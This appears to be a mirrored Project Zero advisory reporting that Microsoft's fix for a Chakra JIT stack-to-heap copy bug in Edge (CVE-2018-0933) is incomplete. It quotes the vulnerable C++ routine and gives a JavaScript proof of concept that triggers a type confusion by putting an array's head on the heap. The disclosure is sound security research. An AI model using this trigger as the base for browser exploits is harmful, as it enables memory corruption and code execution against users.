Microsoft Edge Charka JIT Incomplete Fix For Issue 1420

A security fix applied for Microsoft Edge Chakra JIT is incomplete.


MD5 | dc6e350de68f5b22d4f1cdba5404821b

Microsoft Edge: Chakra: JIT: The fix for issue 1420 is incomplete. 

CVE-2018-0933


Here's a snippet of JavascriptArray::BoxStackInstance. To fix <a href="/p/project-zero/issues/detail?id=1420" title="Microsoft Edge: Chakra: JIT: stack-to-heap copy bug" class="closed_ref" rel="nofollow"> issue 1420 </a>, "deepCopy" was introduced. It only deep-copies the array when "instance->head" is on the stack. So simply by adding a single line of code that allocates "head" to the heap, we can bypass the fix.

template <typename T>
T * JavascriptArray::BoxStackInstance(T * instance, bool deepCopy)
{
Assert(ThreadContext::IsOnStack(instance));
// On the stack, the we reserved a pointer before the object as to store the boxed value
T ** boxedInstanceRef = ((T **)instance) - 1;
T * boxedInstance = *boxedInstanceRef;
if (boxedInstance)
{
return boxedInstance;
}

const size_t inlineSlotsSize = instance->GetTypeHandler()->GetInlineSlotsSize();
if (ThreadContext::IsOnStack(instance->head))
{
boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(),
inlineSlotsSize + sizeof(Js::SparseArraySegmentBase) + instance->head->size * sizeof(typename T::TElement),
T, instance, true, deepCopy);
}
else if(inlineSlotsSize)
{
boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(), inlineSlotsSize, T, instance, false, false);
}
else
{
boxedInstance = RecyclerNew(instance->GetRecycler(), T, instance, false, false);
}

*boxedInstanceRef = boxedInstance;
return boxedInstance;
}

PoC:
function inlinee() {
return inlinee.arguments[0];
}

function opt(convert_to_var_array) {
/*
To make the in-place type conversion happen, it requires to segment.
*/

let stack_arr = [];

// Allocate stack_ar->head to the heap
stack_arr[20] = 1.1;

stack_arr[10000] = 1.1;
stack_arr[20000] = 2.2;

let heap_arr = inlinee(stack_arr);
convert_to_var_array(heap_arr);

stack_arr[10000] = 2.3023e-320;

return heap_arr[10000];
}

function main() {
for (let i = 0; i < 10000; i++)
opt(new Function('')); // Prevents to be inlined

print(opt(heap_arr => {
heap_arr[10000] = {}; // ConvertToVarArray
}));
}

main();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt


Related Posts